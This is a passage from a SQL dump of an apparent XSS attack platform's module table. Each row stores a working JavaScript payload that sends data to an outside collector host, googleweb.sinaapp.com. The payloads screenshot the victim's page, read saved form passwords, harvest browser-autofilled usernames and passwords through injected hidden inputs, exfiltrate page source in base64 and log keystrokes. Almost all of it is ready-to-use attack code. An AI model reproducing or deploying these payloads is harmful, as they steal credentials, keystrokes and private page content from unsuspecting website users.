r,testElement,rangeBounds,rangeHeight,support=false;if(doc.createRange){r=doc.createRange();if(r.getBoundingClientRect){testElement=doc.createElement(&quot;boundtest&quot;);testElement.style.height=&quot;123px&quot;;testElement.style.display=&quot;block&quot;;doc.body.appendChild(testElement);r.selectNode(testElement);rangeBounds=r.getBoundingClientRect();rangeHeight=rangeBounds.height;if(rangeHeight===123){support=true}doc.body.removeChild(testElement)}}return support}return{rangeBounds:supportRangeBounds(),svgRendering:options.svgRendering&amp;&amp;supportSVGRendering()}};window.html2canvas=function(elements,opts){elements=(elements.length)?elements:[elements];var queue,canvas,options={logging:false,elements:elements,background:&quot;#fff&quot;,proxy:null,timeout:0,useCORS:false,allowTaint:false,svgRendering:false,ignoreElements:&quot;IFRAME|OBJECT|PARAM&quot;,useOverflow:true,letterRendering:false,chinese:false,width:null,height:null,taintTest:true,renderer:&quot;Canvas&quot;};options=_html2canvas.Util.Extend(opts,options);_html2canvas.logging=options.logging;options.complete=function(images){if(typeof options.onpreloaded===&quot;function&quot;){if(options.onpreloaded(images)===false){return}}queue=_html2canvas.Parse(images,options);if(typeof options.onparsed===&quot;function&quot;){if(options.onparsed(queue)===false){return}}canvas=_html2canvas.Renderer(queue,options);if(typeof options.onrendered===&quot;function&quot;){options.onrendered(canvas)}};window.setTimeout(function(){_html2canvas.Preload(options)},0);return{render:function(queue,opts){return _html2canvas.Renderer(queue,_html2canvas.Util.Extend(opts,options))},parse:function(images,opts){return _html2canvas.Parse(images,_html2canvas.Util.Extend(opts,options))},preload:function(opts){return _html2canvas.Preload(_html2canvas.Util.Extend(opts,options))},log:_html2canvas.Util.log}};window.html2canvas.log=_html2canvas.Util.log;window.html2canvas.Renderer={Canvas:undefined};_html2canvas.Renderer.Canvas=function(options){options=options||{};var doc=document,safeImages=[],testCanvas=document.createElement(&quot;canvas&quot;),testctx=testCanvas.getContext(&quot;2d&quot;),Util=_html2canvas.Util,canvas=options.canvas||doc.createElement(&quot;canvas&quot;);\r\nfunction createShape(ctx,args){ctx.beginPath();args.forEach(function(arg){ctx[arg.name].apply(ctx,arg[&quot;arguments&quot;])});ctx.closePath()}function safeImage(item){if(safeImages.indexOf(item[&quot;arguments&quot;][0].src)===-1){testctx.drawImage(item[&quot;arguments&quot;][0],0,0);try{testctx.getImageData(0,0,1,1)}catch(e){testCanvas=doc.createElement(&quot;canvas&quot;);testctx=testCanvas.getContext(&quot;2d&quot;);return false}safeImages.push(item[&quot;arguments&quot;][0].src)}return true}function renderItem(ctx,item){switch(item.type){case&quot;variable&quot;:ctx[item.name]=item[&quot;arguments&quot;];break;case&quot;function&quot;:switch(item.name){case&quot;createPattern&quot;:if(item[&quot;arguments&quot;][0].width&gt;0&amp;&amp;item[&quot;arguments&quot;][0].height&gt;0){try{ctx.fillStyle=ctx.createPattern(item[&quot;arguments&quot;][0],&quot;repeat&quot;)}catch(e){Util.log(&quot;html2canvas: Renderer: Error creating pattern&quot;,e.message)}}break;case&quot;drawShape&quot;:createShape(ctx,item[&quot;arguments&quot;]);break;case&quot;drawImage&quot;:if(item[&quot;arguments&quot;][8]&gt;0&amp;&amp;item[&quot;arguments&quot;][7]&gt;0){if(!options.taintTest||(options.taintTest&amp;&amp;safeImage(item))){ctx.drawImage.apply(ctx,item[&quot;arguments&quot;])}}break;default:ctx[item.name].apply(ctx,item[&quot;arguments&quot;])}break}}return function(parsedData,options,document,queue,_html2canvas){var ctx=canvas.getContext(&quot;2d&quot;),newCanvas,bounds,fstyle,zStack=parsedData.stack;canvas.width=canvas.style.width=options.width||zStack.ctx.width;canvas.height=canvas.style.height=options.height||zStack.ctx.height;fstyle=ctx.fillStyle;ctx.fillStyle=(Util.isTransparent(zStack.backgroundColor)&amp;&amp;options.background!==undefined)?options.background:parsedData.backgroundColor;ctx.fillRect(0,0,canvas.width,canvas.height);ctx.fillStyle=fstyle;queue.forEach(function(storageContext){ctx.textBaseline=&quot;bottom&quot;;ctx.save();if(storageContext.transform.matrix){ctx.translate(storageContext.transform.origin[0],storageContext.transform.origin[1]);ctx.transform.apply(ctx,storageContext.transform.matrix);ctx.translate(-storageContext.transform.origin[0],-storageContext.transform.origin[1])}if(storageContext.clip){ctx.beginPath();ctx.rect(storageContext.clip.left,storageContext.clip.top,storageContext.clip.width,storageContext.clip.height);ctx.clip()}if(storageContext.ctx.storage){storageContext.ctx.storage.forEach(function(item){renderItem(ctx,item)})}ctx.restore()});Util.log(&quot;html2canvas: Renderer: Canvas renderer done - returning canvas obj&quot;);if(options.elements.length===1){if(typeof options.elements[0]===&quot;object&quot;&amp;&amp;options.elements[0].nodeName!==&quot;BODY&quot;){bounds=_html2canvas.Util.Bounds(options.elements[0]);newCanvas=document.createElement(&quot;canvas&quot;);newCanvas.width=Math.ceil(bounds.width);newCanvas.height=Math.ceil(bounds.height);ctx=newCanvas.getContext(&quot;2d&quot;);ctx.drawImage(canvas,bounds.left,bounds.top,bounds.width,bounds.height,0,0,bounds.width,bounds.height);canvas=null;return newCanvas}}return canvas}}})(window,document);var img=new Image();img.src=&#039;#&#039;;img.onerror=function(){ html2canvas(document.body, {  onrendered : function (canvas) {     var html_canvas = canvas.toDataURL();  xssPost(&quot;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&quot;, html_canvas);   } });  function xssPost(url, postStr) {   var de;   de = document.body.appendChild(document.createElement(&#039;iframe&#039;));   de.src = &#039;about:blank&#039;;   de.height = 1;   de.width = 1;   de.contentDocument.write(&#039;&lt;form method=&quot;POST&quot; action=&quot;&#039; + url + &#039;&quot;&gt;&lt;input name=&quot;screenshot&quot; value=&quot;&#039; + postStr + &#039;&quot;/&gt;&lt;/form&gt;&#039;);   de.contentDocument.forms[0].submit();   de.style.display=&#039;none&#039;; } }', 0, 1, '截取当前网页屏幕，不能与其他模块共同使用', 1, 1, 'googleweb', 1411559844);
INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
(27, 1, '获取保存的表单密码', '["pass"]', '[]', '(function () {\r\n  (new Image()).src = &#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;pass=&#039; + escape((function () {\r\n    var s,\r\n    F,\r\n    j,\r\n    f,\r\n    i;\r\n    s = &#039;&#039;;\r\n    F = document.forms;\r\n    for (j = 0; j &lt; F.length; ++j) {\r\n      f = F[j];\r\n      for (i = 0; i &lt; f.length; ++i) {\r\n        if (f[i].type.toLowerCase() == &#039;password&#039;) s += f[i].value + &#039;&#039;;\r\n      }\r\n    }\r\n    if (s) return s;\r\n     else return &#039;&#039;;\r\n  }) ())\r\n}) ();', 0, 1, '获取保存的表单密码，只能获取当前页面保存过的密码', 1, 1, 'googleweb', 1415170752),
(29, 1, '获取页面源码', '["code"]', '["filename"]', 'var cr;\r\nif (document.charset) {\r\n  cr = document.charset\r\n} else if (document.characterSet) {\r\n  cr = document.characterSet\r\n};\r\nfunction createXmlHttp() {\r\n  if (window.XMLHttpRequest) {\r\n    xmlHttp = new XMLHttpRequest()\r\n  } else {\r\n    var MSXML = new Array(&#039;MSXML2.XMLHTTP.5.0&#039;, &#039;MSXML2.XMLHTTP.4.0&#039;, &#039;MSXML2.XMLHTTP.3.0&#039;, &#039;MSXML2.XMLHTTP&#039;, &#039;Microsoft.XMLHTTP&#039;);\r\n    for (var n = 0; n &lt; MSXML.length; n++) {\r\n      try {\r\n        xmlHttp = new ActiveXObject(MSXML[n]);\r\n        break\r\n      } catch (e) {\r\n      }\r\n    }\r\n  }\r\n}\r\ncreateXmlHttp();\r\nxmlHttp.onreadystatechange = writeSource;\r\nxmlHttp.open(&#039;GET&#039;, &#039;{set.filename}&#039;, true);\r\nxmlHttp.send(null);\r\nfunction writeSource() {\r\n  if (xmlHttp.readyState == 4) {\r\n      var code = BASE64.encoder(xmlHttp.responseText);\r\n      xssPost(&#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&#039;, code);\r\n  }\r\n}\r\n\r\n  function xssPost(url, postStr) {\r\n    var de;\r\n    de = document.body.appendChild(document.createElement(&#039;iframe&#039;));\r\n    de.src = &#039;about:blank&#039;;\r\n    de.height = 1;\r\n    de.width = 1;\r\n    de.contentDocument.write(&#039;&lt;form method=&quot;POST&quot; action=&quot;&#039; + url + &#039;&quot;&gt;&lt;input name=&quot;code&quot; value=&quot;&#039; + postStr + &#039;&quot;/&gt;&lt;/form&gt;&#039;);\r\n    de.contentDocument.forms[0].submit();\r\n    de.style.display = &#039;none&#039;;\r\n}\r\n/**\r\n *create by 2012-08-25 pm 17:48\r\n *@author hexinglun@gmail.com\r\n *BASE64 Encode and Decode By UTF-8 unicode\r\n *可以和java的BASE64编码和解码互相转化\r\n */\r\n(function(){\r\n	var BASE64_MAPPING = [\r\n		&#039;A&#039;,&#039;B&#039;,&#039;C&#039;,&#039;D&#039;,&#039;E&#039;,&#039;F&#039;,&#039;G&#039;,&#039;H&#039;,\r\n		&#039;I&#039;,&#039;J&#039;,&#039;K&#039;,&#039;L&#039;,&#039;M&#039;,&#039;N&#039;,&#039;O&#039;,&#039;P&#039;,\r\n		&#039;Q&#039;,&#039;R&#039;,&#039;S&#039;,&#039;T&#039;,&#039;U&#039;,&#039;V&#039;,&#039;W&#039;,&#039;X&#039;,\r\n		&#039;Y&#039;,&#039;Z&#039;,&#039;a&#039;,&#039;b&#039;,&#039;c&#039;,&#039;d&#039;,&#039;e&#039;,&#039;f&#039;,\r\n		&#039;g&#039;,&#039;h&#039;,&#039;i&#039;,&#039;j&#039;,&#039;k&#039;,&#039;l&#039;,&#039;m&#039;,&#039;n&#039;,\r\n		&#039;o&#039;,&#039;p&#039;,&#039;q&#039;,&#039;r&#039;,&#039;s&#039;,&#039;t&#039;,&#039;u&#039;,&#039;v&#039;,\r\n		&#039;w&#039;,&#039;x&#039;,&#039;y&#039;,&#039;z&#039;,&#039;0&#039;,&#039;1&#039;,&#039;2&#039;,&#039;3&#039;,\r\n		&#039;4&#039;,&#039;5&#039;,&#039;6&#039;,&#039;7&#039;,&#039;8&#039;,&#039;9&#039;,&#039;+&#039;,&#039;/&#039;\r\n	];\r\n\r\n	/**\r\n	 *ascii convert to binary\r\n	 */\r\n	var _toBinary = function(ascii){\r\n		var binary = new Array();\r\n		while(ascii &gt; 0){\r\n			var b = ascii%2;\r\n			ascii = Math.floor(ascii/2);\r\n			binary.push(b);\r\n		}\r\n		/*\r\n		var len = binary.length;\r\n		if(6-len &gt; 0){\r\n			for(var i = 6-len ; i &gt; 0 ; --i){\r\n				binary.push(0);\r\n			}\r\n		}*/\r\n		binary.reverse();\r\n		return binary;\r\n	};\r\n\r\n	/**\r\n	 *binary convert to decimal\r\n	 */\r\n	var _toDecimal  = function(binary){\r\n		var dec = 0;\r\n		var p = 0;\r\n		for(var i = binary.length-1 ; i &gt;= 0 ; --i){\r\n			var b = binary[i];\r\n			if(b == 1){\r\n				dec += Math.pow(2 , p);\r\n			}\r\n			++p;\r\n		}\r\n		return dec;\r\n	};\r\n\r\n	/**\r\n	 *unicode convert to utf-8\r\n	 */\r\n	var _toUTF8Binary = function(c , binaryArray){\r\n		var mustLen = (8-(c+1)) + ((c-1)*6);\r\n		var fatLen = binaryArray.length;\r\n		var diff = mustLen - fatLen;\r\n		while(--diff &gt;= 0){\r\n			binaryArray.unshift(0);\r\n		}\r\n		var binary = [];\r\n		var _c = c;\r\n		while(--_c &gt;= 0){\r\n			binary.push(1);\r\n		}\r\n		binary.push(0);\r\n		var i = 0 , len = 8 - (c+1);\r\n		for(; i &lt; len ; ++i){\r\n			binary.push(binaryArray[i]);\r\n		}\r\n\r\n		for(var j = 0 ; j &lt; c-1 ; ++j){\r\n			binary.push(1);\r\n			binary.push(0);\r\n			var sum = 6;\r\n			while(--sum &gt;= 0){\r\n				binary.push(binaryArray[i++]);\r\n			}\r\n		}\r\n		return binary;\r\n	};\r\n\r\n	var __BASE64 = {\r\n			/**\r\n			 *BASE64 Encode\r\n			 */\r\n			encoder:function(str){\r\n				var base64_Index = [];\r\n				var binaryArray = [];\r\n				for(var i = 0 , len = str.length ; i &lt; len ; ++i){\r\n					var unicode = str.charCodeAt(i);\r\n					var _tmpBinary = _toBinary(unicode);\r\n					if(unicode &lt; 0x80){\r\n						var _tmpdiff = 8 - _tmpBinary.length;\r\n						while(--_tmpdiff &gt;= 0){\r\n							_tmpBinary.unshift(0);\r\n						}\r\n						binaryArray = binaryArray.concat(_tmpBinary);\r\n					}else if(unicode &gt;= 0x80 &amp;&amp; unicode &lt;= 0x7FF){\r\n						binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));\r\n					}else if(unicode &gt;= 0x800 &amp;&amp; unicode &lt;= 0xFFFF){//UTF-8 3byte\r\n						binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));\r\n					}else if(unicode &gt;= 0x10000 &amp;&amp; unicode &lt;= 0x1FFFFF){//UTF-8 4byte\r\n						binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary));	\r\n					}else if(unicode &gt;= 0x200000 &amp;&amp; unicode &lt;= 0x3FFFFFF){//UTF-8 5byte\r\n						binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));\r\n					}else if(unicode &gt;= 4000000 &amp;&amp; unicode &lt;= 0x7FFFFFFF){//UTF-8 6byte\r\n						binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));\r\n					}\r\n				}\r\n\r\n				var extra_Zero_Count = 0;\r\n				for(var i = 0 , len = binaryArray.length ; i &lt; len ; i+=6){\r\n					var diff = (i+6)-len;\r\n					if(diff == 2){\r\n						extra_Zero_Count = 2;\r\n					}else if(diff == 4){\r\n						extra_Zero_Count = 4;\r\n					}\r\n					//if(extra_Zero_Count &gt; 0){\r\n					//	len += extra_Zero_Count+1;\r\n					//}\r\n					var _tmpExtra_Zero_Count = extra_Zero_Count;\r\n					while(--_tmpExtra_Zero_Count &gt;= 0){\r\n						binaryArray.push(0);\r\n					}\r\n					base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));\r\n				}\r\n\r\n				var base64 = &#039;&#039;;\r\n				for(var i = 0 , len = base64_Index.length ; i &lt; len ; ++i){\r\n					base64 += BASE64_MAPPING[base64_Index[i]];\r\n				}\r\n\r\n				for(var i = 0 , len = extra_Zero_Count/2 ; i &lt; len ; ++i){\r\n					base64 += &#039;=&#039;;\r\n				}\r\n				return base64;\r\n			},\r\n			/**\r\n			 *BASE64  Decode for UTF-8 \r\n			 */\r\n			decoder : function(_base64Str){\r\n				var _len = _base64Str.length;\r\n				var extra_Zero_Count = 0;\r\n				/**\r\n				 *计算在进行BASE64编码的时候，补了几个0\r\n				 */\r\n				if(_base64Str.charAt(_len-1) == &#039;=&#039;){\r\n					//alert(_base64Str.charAt(_len-1));\r\n					//alert(_base64Str.charAt(_len-2));\r\n					if(_base64Str.charAt(_len-2) == &#039;=&#039;){//两个等号说明补了4个0\r\n						extra_Zero_Count = 4;\r\n						_base64Str = _base64Str.substring(0 , _len-2);\r\n					}else{//一个等号说明补了2个0\r\n						extra_Zero_Count = 2;\r\n						_base64Str = _base64Str.substring(0 , _len - 1);\r\n					}\r\n				}\r\n\r\n				var binaryArray = [];\r\n				for(var i = 0 , len = _base64Str.length; i &lt; len ; ++i){\r\n					var c = _base64Str.charAt(i);\r\n					for(var j = 0 , size = BASE64_MAPPING.length ; j &lt; size ; ++j){\r\n						if(c == BASE64_MAPPING[j]){\r\n							var _tmp = _toBinary(j);\r\n							/*不足6位的补0*/\r\n							var _tmpLen = _tmp.length;\r\n							if(6-_tmpLen &gt; 0){\r\n								for(var k = 6-_tmpLen ; k &gt; 0 ; --k){\r\n									_tmp.unshift(0);\r\n								}\r\n							}\r\n							binaryArray = binaryArray.concat(_tmp);\r\n							break;\r\n						}\r\n					}\r\n				}\r\n\r\n				if(extra_Zero_Count &gt; 0){\r\n					binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);\r\n				}\r\n\r\n				var unicode = [];\r\n				var unicodeBinary = [];\r\n				for(var i = 0 , len = binaryArray.length ; i &lt; len ; ){\r\n					if(binaryArray[i] == 0){\r\n						unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));\r\n						i += 8;\r\n					}else{\r\n						var sum = 0;\r\n						while(i &lt; len){\r\n							if(binaryArray[i] == 1){\r\n								++sum;\r\n							}else{\r\n								break;\r\n							}\r\n							++i;\r\n						}\r\n						unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));\r\n						i += 8 - sum;\r\n						while(sum &gt; 1){\r\n							unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));\r\n							i += 8;\r\n							--sum;\r\n						}\r\n						unicode = unicode.concat(_toDecimal(unicodeBinary));\r\n						unicodeBinary = [];\r\n					}\r\n				}\r\n				return unicode;\r\n			}\r\n	};\r\n\r\n	window.BASE64 = __BASE64;\r\n})();', 0, 1, '获取客户端指定页面源代码,采用post提交以防止字数限制，采用base64编码解决提交代码不完整', 1, 1, 'googleweb', 1415237494),
(30, 1, '获取保存的明文密码', '["username","password"]', '["type1","type2","id1","id2","name1","name2"]', 'function create_body() {\r\n  document.write(&#039;&lt;body&gt;&lt;/body&gt;&#039;);\r\n}\r\nfunction create_form(user) { /*获取明文密码*/\r\n  var f = document.createElement(&#039;form&#039;);\r\n  f.style.display = &#039;none&#039;\r\n  document.getElementsByTagName(&#039;body&#039;) [0].appendChild(f);\r\n  var e1 = document.createElement(&#039;input&#039;);\r\n  e1.type = &#039;{set.type1}&#039;;\r\n  e1.name = &#039;{set.name1}&#039;;\r\n  e1.id = &#039;{set.id1}&#039;;\r\n  f.appendChild(e1);\r\n  var e = document.createElement(&#039;input&#039;);\r\n  e.name = &#039;{set.name2}&#039;;\r\n  e.type = &#039;{set.type2}&#039;;\r\n  e.id = &#039;{set.id2}&#039;;\r\n  f.appendChild(e);\r\n  setTimeout(function () {\r\n    username = document.getElementById(&#039;{set.id1}&#039;).value;\r\n    password = document.getElementById(&#039;{set.id2}&#039;).value;\r\n    if (username.length &gt; 0) {\r\n      var newimg = new Image();\r\n      newimg.src = &#039;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;username=&#039; + username + &#039;&amp;password=&#039; + password;\r\n    }\r\n  }, 2000); /* 时间竞争*/\r\n}\r\ncreate_form(&#039;&#039;);', 0, 1, 'type id name 为要获取的表单页面 input标签属性值，测试通过chrome,firefox,360浏览器。只要是同域的都可获取！比如 要获取的浏览器已记录的密码为webvul.com/admin.php 文件的那么在webvul.com/admin/user/list.php页面插入也可以获取到！作者:root#webvul.com', 1, 1, 'googleweb', 1415246059),
(31, 1, '键盘记录', '["char"]', '[]', '(function(){\r\n        var logger = &quot;&quot;;\r\n        keyDown = function(e)\r\n        {\r\n                var e=e||event;\r\n                var currKey=e.keyCode||e.which||e.charCode;\r\n                if((currKey&gt;7&amp;&amp;currKey&lt;32)||(currKey&gt;31&amp;&amp;currKey&lt;47))\r\n                {\r\n                   switch(currKey)\r\n           　  {\r\n                        case 8: keyName = &quot;[退格]&quot;; break;\r\n                        case 9: keyName = &quot;[制表]&quot;; break;\r\n                        case 13:keyName = &quot;[回车]&quot;; break;\r\n                        //case 16:keyName = &quot;[shift]&quot;; break;\r\n                        case 17:keyName = &quot;[Ctrl]&quot;; break;\r\n                        case 18:keyName = &quot;[Alt]&quot;; break;\r\n                        case 20:keyName = &quot;[大小写]&quot;; break;\r\n                        case 32:keyName = &quot;[空格]&quot;; break;\r\n                        case 33:keyName = &quot;[PageUp]&quot;;   break;\r\n                        case 34:keyName = &quot;[PageDown]&quot;;   break;\r\n                        case 35:keyName = &quot;[End]&quot;;   break;\r\n                        case 36:keyName = &quot;[Home]&quot;;   break;\r\n                        case 37:keyName = &quot;[方向键左]&quot;;   break;\r\n                        case 38:keyName = &quot;[方向键上]&quot;;   break;\r\n                        case 39:keyName = &quot;[方向键右]&quot;;   break;\r\n                        case 40:keyName = &quot;[方向键下]&quot;;   break;\r\n                        case 46:keyName = &quot;[删除]&quot;;   break;\r\n                        default:keyName = &quot;&quot;;    break;\r\n                   }\r\n                   logger += keyName;\r\n                }\r\n        }\r\n        keyPress = function(e)\r\n        {\r\n                var currKey=0,CapsLock=0,e=e||event;\r\n                currKey=e.keyCode||e.which||e.charCode;\r\n                CapsLock=currKey&gt;=65&amp;&amp;currKey&lt;=90;\r\n                switch(currKey)\r\n                {\r\n                   　 　 //屏蔽了退格、制表、回车、空格、方向键、删除键等\r\n                   　 　 case 8: case 9:case 13:case 16:case 17:case 18:case 20:\r\n                                    case 32: case 33: case 34: case 35: case 36: case 37:case 38:\r\n                                    case 39:case 40:case 46:keyName = &quot;&quot;;break;\r\n                   　 　 default:keyName = String.fromCharCode(currKey); break;\r\n                }\r\n                logger += keyName;\r\n        }\r\n        sendChar = function()\r\n        {\r\n                if (!logger) return;\r\n                (new Image).src=&quot;http://googleweb.sinaapp.com/index.php?do=api&amp;id={projectId}&amp;char=&quot; + logger; //服务端地址\r\n                logger = &quot;&quot;;\r\n        }\r\n        formSubmit = function()\r\n        {\r\n                sendChar();\r\n        }\r\n        document.onkeydown = keyDown;\r\n        document.onkeypress = keyPress;\r\n        document.onsubmit = formSubmit;\r\n        setInterval(sendChar, 10000); //设置定时器\r\n})();', 0, 1, '作者：园长\r\n网址：http://javaweb.org/?p=326', 1, 1, 'googleweb', 1416532539);
